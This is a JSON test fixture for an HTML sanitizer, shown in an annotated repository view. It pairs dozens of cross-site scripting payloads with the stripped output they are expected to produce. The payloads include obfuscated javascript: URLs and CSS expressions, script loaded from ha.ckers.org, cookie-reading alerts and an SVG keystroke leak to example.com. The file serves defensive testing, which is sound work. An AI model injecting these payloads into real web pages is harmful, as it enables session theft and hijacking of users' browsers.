michael@0 434 "sanitized": "<html><head></head><body><a href=\"http://foo.bar/#x=%60y\"></a><img alt=\"`&gt;&lt;img src=xx:x onerror=alert(1)&gt;&lt;/a&gt;\">\n\n\n<img alt=\"`&gt;&lt;img src=xx:x onerror=alert(2)//\">\n<img alt=\"`&gt;&lt;img src=xx:x onerror=alert(3)//\"></body></html>"
michael@0 435 },
michael@0 436 {
michael@0 437 "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\n<a id=\"x\"><rect fill=\"white\" width=\"1000\" height=\"1000\"/></a>\n<rect fill=\"white\" style=\"clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);\"/>\n</svg>",
michael@0 438 "sanitized": "<html><head></head><body>\n\n\n</body></html>"
michael@0 439 },
michael@0 440 {
michael@0 441 "data": "<svg xmlns=\"http://www.w3.org/2000/svg\">\r\n<path d=\"M0,0\" style=\"marker-start:url(test4.svg#a)\"/>\r\n</svg>",
michael@0 442 "sanitized": "<html><head></head><body>\n\n</body></html>"
michael@0 443 },
michael@0 444 {
michael@0 445 "data": "<div style=\"background:url(/f#[a]oo/;color:red/*/foo.jpg);\">X</div>",
michael@0 446 "sanitized": "<html><head></head><body><div>X</div></body></html>"
michael@0 447 },
michael@0 448 {
michael@0 449 "data": "<div style=\"font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);\">X</div>",
michael@0 450 "sanitized": "<html><head></head><body><div>X</div></body></html>"
michael@0 451 },
michael@0 452 {
michael@0 453 "data": "<div id=\"x\">XXX</div>\n<style>\n\n#x{font-family:foo[bar;color:green;}\n\n#y];color:red;{}\n\n</style>",
michael@0 454 "sanitized": "<html><head></head><body><div id=\"x\">XXX</div>\n</body></html>"
michael@0 455 },
michael@0 456 {
michael@0 457 "data": "<x style=\"background:url('x[a];color:red;/*')\">XXX</x>",
michael@0 458 "sanitized": "<html><head></head><body>XXX</body></html>"
michael@0 459 },
michael@0 460 {
michael@0 461 "data": "<!--[if]><script>alert(1)</script -->\r\n<!--[if<img src=x onerror=alert(2)//]> -->",
michael@0 462 "sanitized": "<html><head></head><body></body></html>"
michael@0 463 },
michael@0 464 {
michael@0 465 "data": "<div id=\"x\">x</div>\n<xml:namespace prefix=\"t\">\n<import namespace=\"t\" implementation=\"#default#time2\">\n<t:set attributeName=\"innerHTML\" targetElement=\"x\" to=\"&lt;img&#11;src=x:x&#11;onerror&#11;=alert(1)&gt;\">",
michael@0 466 "sanitized": "<html><head></head><body><div id=\"x\">x</div>\n\n\n</body></html>"
michael@0 467 },
michael@0 468 {
michael@0 469 "data": "<a href=\"http://attacker.org\">\n\t<iframe src=\"http://example.org/\"></iframe>\n</a>",
michael@0 470 "sanitized": "<html><head></head><body><a href=\"http://attacker.org\">\n\t\n</a></body></html>"
michael@0 471 },
michael@0 472 {
michael@0 473 "data": "<div draggable=\"true\" ondragstart=\"event.dataTransfer.setData('text/plain','malicious code');\">\n\t<h1>Drop me</h1>\n</div>\n\n<iframe src=\"http://www.example.org/dropHere.html\"></iframe>",
michael@0 474 "sanitized": "<html><head></head><body><div draggable=\"true\">\n\t<h1>Drop me</h1>\n</div>\n\n</body></html>"
michael@0 475 },
michael@0 476 {
michael@0 477 "data": "<iframe src=\"view-source:http://www.example.org/\" frameborder=\"0\" style=\"width:400px;height:180px\"></iframe>\n\n<textarea type=\"text\" cols=\"50\" rows=\"10\"></textarea>",
michael@0 478 "sanitized": "<html><head></head><body>\n\n<textarea type=\"text\" cols=\"50\" rows=\"10\"></textarea></body></html>"
michael@0 479 },
michael@0 480 {
michael@0 481 "data": "<script>\nfunction makePopups(){\n\tfor (i=1;i<6;i++) {\n\t\twindow.open('popup.html','spam'+i,'width=50,height=50');\n\t}\n}\n</script>\n\n<body>\n<a href=\"#\" onclick=\"makePopups()\">Spam</a>",
michael@0 482 "sanitized": "<html><head>\n\n</head><body>\n<a>Spam</a></body></html>"
michael@0 483 },
michael@0 484 {
michael@0 485 "data": "<html xmlns=\"http://www.w3.org/1999/xhtml\"\nxmlns:svg=\"http://www.w3.org/2000/svg\">\n<body style=\"background:gray\">\n<iframe src=\"http://example.com/\" style=\"width:800px; height:350px; border:none; mask: url(#maskForClickjacking);\"/>\n<svg:svg>\n<svg:mask id=\"maskForClickjacking\" maskUnits=\"objectBoundingBox\" maskContentUnits=\"objectBoundingBox\">\n\t<svg:rect x=\"0.0\" y=\"0.0\" width=\"0.373\" height=\"0.3\" fill=\"white\"/>\n\t<svg:circle cx=\"0.45\" cy=\"0.7\" r=\"0.075\" fill=\"white\"/>\n</svg:mask>\n</svg:svg>\n</body>\n</html>",
michael@0 486 "sanitized": "<html><head></head><body>\n\n&lt;svg:svg&gt;\n&lt;svg:mask id=\"maskForClickjacking\" maskUnits=\"objectBoundingBox\" maskContentUnits=\"objectBoundingBox\"&gt;\n\t&lt;svg:rect x=\"0.0\" y=\"0.0\" width=\"0.373\" height=\"0.3\" fill=\"white\"/&gt;\n\t&lt;svg:circle cx=\"0.45\" cy=\"0.7\" r=\"0.075\" fill=\"white\"/&gt;\n&lt;/svg:mask&gt;\n&lt;/svg:svg&gt;\n&lt;/body&gt;\n&lt;/html&gt;</body></html>"
michael@0 487 },
michael@0 488 {
michael@0 489 "data": "<iframe sandbox=\"allow-same-origin allow-forms allow-scripts\" src=\"http://example.org/\"></iframe>",
michael@0 490 "sanitized": "<html><head></head><body></body></html>"
michael@0 491 },
michael@0 492 {
michael@0 493 "data": "<span class=foo>Some text</span>\n<a class=bar href=\"http://www.example.org\">www.example.org</a>\n\n<script src=\"http://code.jquery.com/jquery-1.4.4.js\"></script>\n<script>\n$(\"span.foo\").click(function() {\nalert('foo');\n$(\"a.bar\").click();\n});\n$(\"a.bar\").click(function() {\nalert('bar');\nlocation=\"http://html5sec.org\";\n});\n</script>",
michael@0 494 "sanitized": "<html><head></head><body><span class=\"foo\">Some text</span>\n<a class=\"bar\" href=\"http://www.example.org\">www.example.org</a>\n\n\n</body></html>"
michael@0 495 },
michael@0 496 {
michael@0 497 "data": "<script src=\"/\\example.com\\foo.js\"></script> // Safari 5.0, Chrome 9, 10\n<script src=\"\\\\example.com\\foo.js\"></script> // Safari 5.0",
michael@0 498 "sanitized": "<html><head> </head><body>// Safari 5.0, Chrome 9, 10\n // Safari 5.0</body></html>"
michael@0 499 },
michael@0 500 {
michael@0 501 "data": "<?xml version=\"1.0\"?>\r\n<?xml-stylesheet type=\"text/xml\" href=\"#stylesheet\"?>\r\n<!DOCTYPE doc [\r\n<!ATTLIST xsl:stylesheet\r\n id ID #REQUIRED>]>\r\n<svg xmlns=\"http://www.w3.org/2000/svg\">\r\n <xsl:stylesheet id=\"stylesheet\" version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\r\n <xsl:template match=\"/\">\r\n <iframe xmlns=\"http://www.w3.org/1999/xhtml\" src=\"javascript:alert(1)\"></iframe>\r\n </xsl:template>\r\n </xsl:stylesheet>\r\n <circle fill=\"red\" r=\"40\"></circle>\r\n</svg>",
michael@0 502 "sanitized": "<!DOCTYPE doc>\n<html><head></head><body>]&gt;\n\n \n \n \n \n \n \n</body></html>"
michael@0 503 },
michael@0 504 {
michael@0 505 "data": "<object id=\"x\" classid=\"clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598\"></object>\r\n<object classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\" onqt_error=\"alert(1)\" style=\"behavior:url(#x);\"><param name=postdomevents /></object>",
michael@0 506 "sanitized": "<html><head></head><body>\n</body></html>"
michael@0 507 },
michael@0 508 {
michael@0 509 "data": "<svg xmlns=\"http://www.w3.org/2000/svg\" id=\"x\">\r\n<listener event=\"load\" handler=\"#y\" xmlns=\"http://www.w3.org/2001/xml-events\" observer=\"x\"/>\r\n<handler id=\"y\">alert(1)</handler>\r\n</svg>",
michael@0 510 "sanitized": "<html><head></head><body>\n\nalert(1)\n</body></html>"
michael@0 511 },
michael@0 512 {
michael@0 513 "data": "<svg><style>&lt;img/src=x onerror=alert(1)// </b>",
michael@0 514 "sanitized": "<html><head></head><body></body></html>"
michael@0 515 },
michael@0 516 {
michael@0 517 "data": "<svg>\n<image style='filter:url(\"data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(1)</script></svg>\")'>\n<!--\nSame effect with\n<image filter='...'>\n-->\n</svg>",
michael@0 518 "sanitized": "<html><head></head><body>\n\n\n</body></html>"
michael@0 519 },
michael@0 520 {
michael@0 521 "data": "<math href=\"javascript:alert(1)\">CLICKME</math>\r\n\r\n<math>\r\n<!-- up to FF 13 -->\r\n<maction actiontype=\"statusline#http://google.com\" xlink:href=\"javascript:alert(2)\">CLICKME</maction>\r\n\r\n<!-- FF 14+ -->\r\n<maction actiontype=\"statusline\" xlink:href=\"javascript:alert(3)\">CLICKME<mtext>http://http://google.com</mtext></maction>\r\n</math>",
michael@0 522 "sanitized": "<html><head></head><body><math>CLICKME</math>\n\n<math>\n\n<maction actiontype=\"statusline#http://google.com\">CLICKME</maction>\n\n\n<maction actiontype=\"statusline\">CLICKME<mtext>http://http://google.com</mtext></maction>\n</math></body></html>"
michael@0 523 },
michael@0 524 {
michael@0 525 "data": "<b>drag and drop one of the following strings to the drop box:</b>\r\n<br/><hr/>\r\njAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\nfeed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\nfeed:data:text/html,&#x3c;script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&#x3c;/script>&#x3c;b>\r\n<br/><hr/>\r\nfeed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\r\n<br/><hr/>\r\n<div id=\"dropbox\" style=\"height: 360px;width: 500px;border: 5px solid #000;position: relative;\" ondragover=\"event.preventDefault()\">+ Drop Box +</div>",
michael@0 526 "sanitized": "<html><head></head><body><b>drag and drop one of the following strings to the drop box:</b>\n<br><hr>\njAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\nfeed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\nfeed:data:text/html,&lt;script&gt;alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&lt;/script&gt;&lt;b&gt;\n<br><hr>\nfeed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//\n<br><hr>\n<div id=\"dropbox\">+ Drop Box +</div></body></html>"
michael@0 527 },
michael@0 528 {
michael@0 529 "data": "<!doctype html>\r\n<form>\r\n<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>\r\n<br>\r\n<input name=\"secret\" type=\"password\">\r\n</form>\r\n<!-- injection --><svg height=\"50px\">\r\n<image xmlns:xlink=\"http://www.w3.org/1999/xlink\">\r\n<set attributeName=\"xlink:href\" begin=\"accessKey(a)\" to=\"//example.com/?a\" />\r\n<set attributeName=\"xlink:href\" begin=\"accessKey(b)\" to=\"//example.com/?b\" />\r\n<set attributeName=\"xlink:href\" begin=\"accessKey(c)\" to=\"//example.com/?c\" />\r\n<set attributeName=\"xlink:href\" begin=\"accessKey(d)\" to=\"//example.com/?d\" />\r\n</image>\r\n</svg>",
michael@0 530 "sanitized": "<!DOCTYPE html>\n<html><head></head><body>\n<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>\n<br>\n\n\n\n\n\n\n\n\n\n</body></html>"
michael@0 531 },
michael@0 532 {
michael@0 533 "data": "<!-- `<img/src=xx:xx onerror=alert(1)//--!>",
michael@0 534 "sanitized": "<html><head></head><body></body></html>"
michael@0 535 },
michael@0 536 {
michael@0 537 "data": "<xmp>\r\n<%\r\n</xmp>\r\n<img alt='%></xmp><img src=xx:x onerror=alert(1)//'>\r\n\r\n<script>\r\nx='<%'\r\n</script> %>/\r\nalert(2)\r\n</script>\r\n\r\nXXX\r\n<style>\r\n*['<!--']{}\r\n</style>\r\n-->{}\r\n*{color:red}</style>",
michael@0 538 "sanitized": "<html><head></head><body>\n&lt;%\n\n<img alt=\"%&gt;&lt;/xmp&gt;&lt;img src=xx:x onerror=alert(1)//\">\n\n %&gt;/\nalert(2)\n\n\nXXX\n\n--&gt;{}\n*{color:red}</body></html>"
michael@0 539 },
michael@0 540 {
michael@0 541 "data": "<?xml-stylesheet type=\"text/xsl\" href=\"#\" ?>\r\n<stylesheet xmlns=\"http://www.w3.org/TR/WD-xsl\">\r\n<template match=\"/\">\r\n<eval>new ActiveXObject(&apos;htmlfile&apos;).parentWindow.alert(1)</eval>\r\n<if expr=\"new ActiveXObject('htmlfile').parentWindow.alert(2)\"></if>\r\n</template>\r\n</stylesheet>",
michael@0 542 "sanitized": "<html><head></head><body>\n\n</body></html>"
michael@0 543 },
michael@0 544 {
michael@0 545 "data": "<form action=\"\" method=\"post\">\r\n<input name=\"username\" value=\"admin\" />\r\n<input name=\"password\" type=\"password\" value=\"secret\" />\r\n<input name=\"injected\" value=\"injected\" dirname=\"password\" />\r\n<input type=\"submit\">\r\n</form>",
michael@0 546 "sanitized": "<html><head></head><body>\n\n\n\n\n</body></html>"
michael@0 547 },
michael@0 548 {
michael@0 549 "data": "<SCRIPT>alert('XSS');</SCRIPT>",
michael@0 550 "sanitized": "<html><head></head><body></body></html>"
michael@0 551 },
michael@0 552 {
michael@0 553 "data": "'';!--\"<XSS>=&{()}",
michael@0 554 "sanitized": "<html><head></head><body>'';!--\"=&amp;{()}</body></html>"
michael@0 555 },
michael@0 556 {
michael@0 557 "data": "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>",
michael@0 558 "sanitized": "<html><head></head><body></body></html>"
michael@0 559 },
michael@0 560 {
michael@0 561 "data": "<IMG SRC=\"javascript:alert('XSS');\">",
michael@0 562 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 563 },
michael@0 564 {
michael@0 565 "data": "<IMG SRC=javascript:alert('XSS')>",
michael@0 566 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 567 },
michael@0 568 {
michael@0 569 "data": "<IMG SRC=JaVaScRiPt:alert('XSS')>",
michael@0 570 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 571 },
michael@0 572 {
michael@0 573 "data": "<IMG SRC=javascript:alert(&quot;XSS&quot;)>",
michael@0 574 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 575 },
michael@0 576 {
michael@0 577 "data": "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>",
michael@0 578 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 579 },
michael@0 580 {
michael@0 581 "data": "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>",
michael@0 582 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 583 },
michael@0 584 {
michael@0 585 "data": "SRC=&#10<IMG 6;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>",
michael@0 586 "sanitized": "<html><head></head><body>SRC=\n<img></body></html>"
michael@0 587 },
michael@0 588 {
michael@0 589 "data": "<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>",
michael@0 590 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 591 },
michael@0 592 {
michael@0 593 "data": "<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>",
michael@0 594 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 595 },
michael@0 596 {
michael@0 597 "data": "<IMG SRC=\"javascript:alert('XSS');\">",
michael@0 598 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 599 },
michael@0 600 {
michael@0 601 "data": "<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">",
michael@0 602 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 603 },
michael@0 604 {
michael@0 605 "data": "<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">",
michael@0 606 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 607 },
michael@0 608 {
michael@0 609 "data": "<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">",
michael@0 610 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 611 },
michael@0 612 {
michael@0 613 "data": "<IMG SRC=\" &#14; javascript:alert('XSS');\">",
michael@0 614 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 615 },
michael@0 616 {
michael@0 617 "data": "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
michael@0 618 "sanitized": "<html><head></head><body></body></html>"
michael@0 619 },
michael@0 620 {
michael@0 621 "data": "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>",
michael@0 622 "sanitized": "<html><head></head><body></body></html>"
michael@0 623 },
michael@0 624 {
michael@0 625 "data": "<IMG SRC=\"javascript:alert('XSS')\"",
michael@0 626 "sanitized": "<html><head></head><body></body></html>"
michael@0 627 },
michael@0 628 {
michael@0 629 "data": "<SCRIPT>a=/XSS/",
michael@0 630 "sanitized": "<html><head></head><body></body></html>"
michael@0 631 },
michael@0 632 {
michael@0 633 "data": "\\\";alert('XSS');//",
michael@0 634 "sanitized": "<html><head></head><body>\\\";alert('XSS');//</body></html>"
michael@0 635 },
michael@0 636 {
michael@0 637 "data": "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">",
michael@0 638 "sanitized": "<html><head></head><body></body></html>"
michael@0 639 },
michael@0 640 {
michael@0 641 "data": "<BODY BACKGROUND=\"javascript:alert('XSS')\">",
michael@0 642 "sanitized": "<html><head></head><body></body></html>"
michael@0 643 },
michael@0 644 {
michael@0 645 "data": "<BODY ONLOAD=alert('XSS')>",
michael@0 646 "sanitized": "<html><head></head><body></body></html>"
michael@0 647 },
michael@0 648 {
michael@0 649 "data": "<IMG DYNSRC=\"javascript:alert('XSS')\">",
michael@0 650 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 651 },
michael@0 652 {
michael@0 653 "data": "<IMG LOWSRC=\"javascript:alert('XSS')\">",
michael@0 654 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 655 },
michael@0 656 {
michael@0 657 "data": "<BGSOUND SRC=\"javascript:alert('XSS');\">",
michael@0 658 "sanitized": "<html><head></head><body></body></html>"
michael@0 659 },
michael@0 660 {
michael@0 661 "data": "<BR SIZE=\"&{alert('XSS')}\">",
michael@0 662 "sanitized": "<html><head></head><body><br></body></html>"
michael@0 663 },
michael@0 664 {
michael@0 665 "data": "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>",
michael@0 666 "sanitized": "<html><head></head><body></body></html>"
michael@0 667 },
michael@0 668 {
michael@0 669 "data": "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">",
michael@0 670 "sanitized": "<html><head></head><body></body></html>"
michael@0 671 },
michael@0 672 {
michael@0 673 "data": "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">",
michael@0 674 "sanitized": "<html><head></head><body></body></html>"
michael@0 675 },
michael@0 676 {
michael@0 677 "data": "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>",
michael@0 678 "sanitized": "<html><head></head><body></body></html>"
michael@0 679 },
michael@0 680 {
michael@0 681 "data": "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">",
michael@0 682 "sanitized": "<html><head></head><body></body></html>"
michael@0 683 },
michael@0 684 {
michael@0 685 "data": "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>",
michael@0 686 "sanitized": "<html><head></head><body></body></html>"
michael@0 687 },
michael@0 688 {
michael@0 689 "data": "<IMG SRC='vbscript:msgbox(\"XSS\")'>",
michael@0 690 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 691 },
michael@0 692 {
michael@0 693 "data": "<IMG SRC=\"mocha:[code]\">",
michael@0 694 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 695 },
michael@0 696 {
michael@0 697 "data": "<IMG SRC=\"livescript:[code]\">",
michael@0 698 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 699 },
michael@0 700 {
michael@0 701 "data": "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">",
michael@0 702 "sanitized": "<html><head></head><body></body></html>"
michael@0 703 },
michael@0 704 {
michael@0 705 "data": "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">",
michael@0 706 "sanitized": "<html><head></head><body></body></html>"
michael@0 707 },
michael@0 708 {
michael@0 709 "data": "<META HTTP-EQUIV=\"Link\" Content=\"<javascript:alert('XSS')>; REL=stylesheet\">",
michael@0 710 "sanitized": "<html><head></head><body></body></html>"
michael@0 711 },
michael@0 712 {
michael@0 713 "data": "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">",
michael@0 714 "sanitized": "<html><head></head><body></body></html>"
michael@0 715 },
michael@0 716 {
michael@0 717 "data": "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>",
michael@0 718 "sanitized": "<html><head></head><body></body></html>"
michael@0 719 },
michael@0 720 {
michael@0 721 "data": "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>",
michael@0 722 "sanitized": "<html><head></head></html>"
michael@0 723 },
michael@0 724 {
michael@0 725 "data": "<TABLE BACKGROUND=\"javascript:alert('XSS')\">",
michael@0 726 "sanitized": "<html><head></head><body><table></table></body></html>"
michael@0 727 },
michael@0 728 {
michael@0 729 "data": "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">",
michael@0 730 "sanitized": "<html><head></head><body><div></div></body></html>"
michael@0 731 },
michael@0 732 {
michael@0 733 "data": "<DIV STYLE=\"background-image: url(&#1;javascript:alert('XSS'))\">",
michael@0 734 "sanitized": "<html><head></head><body><div></div></body></html>"
michael@0 735 },
michael@0 736 {
michael@0 737 "data": "<DIV STYLE=\"width: expression(alert('XSS'));\">",
michael@0 738 "sanitized": "<html><head></head><body><div></div></body></html>"
michael@0 739 },
michael@0 740 {
michael@0 741 "data": "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>",
michael@0 742 "sanitized": "<html><head></head><body></body></html>"
michael@0 743 },
michael@0 744 {
michael@0 745 "data": "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">",
michael@0 746 "sanitized": "<html><head></head><body><img></body></html>"
michael@0 747 },
michael@0 748 {
michael@0 749 "data": "<XSS STYLE=\"xss:expression(alert('XSS'))\">",
michael@0 750 "sanitized": "<html><head></head><body></body></html>"
michael@0 751 },
michael@0 752 {
michael@0 753 "data": "exp/*<XSS STYLE='no\\xss:noxss(\"*//*\");",
michael@0 754 "sanitized": "<html><head></head><body>exp/*</body></html>"
michael@0 755 },
michael@0 756 {
michael@0 757 "data": "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>",
michael@0 758 "sanitized": "<html><head></head><body></body></html>"
michael@0 759 },
michael@0 760 {
michael@0 761 "data": "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>",
michael@0 762 "sanitized": "<html><head></head><body><a class=\"XSS\"></a></body></html>"
michael@0 763 },
michael@0 764 {
michael@0 765 "data": "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>",
michael@0 766 "sanitized": "<html><head></head><body></body></html>"
michael@0 767 },
michael@0 768 {
michael@0 769 "data": "<BASE HREF=\"javascript:alert('XSS');//\">",
michael@0 770 "sanitized": "<html><head></head><body></body></html>"
michael@0 771 },
michael@0 772 {
michael@0 773 "data": "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>",
michael@0 774 "sanitized": "<html><head></head><body></body></html>"
michael@0 775 },
michael@0 776 {
michael@0 777 "data": "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>",
michael@0 778 "sanitized": "<html><head></head><body></body></html>"
michael@0 779 },
michael@0 780 {
michael@0 781 "data": "getURL(\"javascript:alert('XSS')\")",
michael@0 782 "sanitized": "<html><head></head><body>getURL(\"javascript:alert('XSS')\")</body></html>"
michael@0 783 },
michael@0 784 {
michael@0 785 "data": "a=\"get\";",
michael@0 786 "sanitized": "<html><head></head><body>a=\"get\";</body></html>"
michael@0 787 },
michael@0 788 {
michael@0 789 "data": "<!--<value><![CDATA[<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas<![CDATA[cript:alert('XSS');\">",
michael@0 790 "sanitized": "<html><head></head><body></body></html>"
michael@0 791 },
michael@0 792 {
michael@0 793 "data": "<XML SRC=\"http://ha.ckers.org/xsstest.xml\" ID=I></XML>",
michael@0 794 "sanitized": "<html><head></head><body></body></html>"
michael@0 795 },
michael@0 796 {
michael@0 797 "data": "<HTML><BODY>",
michael@0 798 "sanitized": "<html><head></head><body></body></html>"
michael@0 799 },
michael@0 800 {
michael@0 801 "data": "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>",
michael@0 802 "sanitized": "<html><head></head><body></body></html>"
michael@0 803 },
michael@0 804 {
michael@0 805 "data": "<!--#exec cmd=\"/bin/echo '<SCRIPT SRC'\"--><!--#exec cmd=\"/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'\"-->",
michael@0 806 "sanitized": "<html><head></head><body></body></html>"
michael@0 807 },
michael@0 808 {
michael@0 809 "data": "<? echo('<SCR)';",
michael@0 810 "sanitized": "<html><head></head><body></body></html>"
michael@0 811 },
michael@0 812 {
michael@0 813 "data": "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;alert('XSS')&lt;/SCRIPT&gt;\">",
michael@0 814 "sanitized": "<html><head></head><body></body></html>"
michael@0 815 },
michael@0 816 {
michael@0 817 "data": "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-",
michael@0 818 "sanitized": "<html><head> </head><body>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-</body></html>"
michael@0 819 },
michael@0 820 {
michael@0 821 "data": "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
michael@0 822 "sanitized": "<html><head></head><body></body></html>"
michael@0 823 },
michael@0 824 {
michael@0 825 "data": "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
michael@0 826 "sanitized": "<html><head></head><body></body></html>"
michael@0 827 },
michael@0 828 {
michael@0 829 "data": "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
michael@0 830 "sanitized": "<html><head></head><body></body></html>"
michael@0 831 },
michael@0 832 {
michael@0 833 "data": "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>",
michael@0 834 "sanitized": "<html><head></head><body></body></html>"
michael@0 835 },
michael@0 836 {
michael@0 837 "data": "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC",
michael@0 838 "sanitized": "<html><head></head><body>PT SRC</body></html>"
michael@0 839 },
michael@0 840 {
michael@0 841 "data": "",
michael@0 842 "sanitized": "<html><head></head><body></body></html>"
michael@0 843 }
michael@0 844 ]

mercurial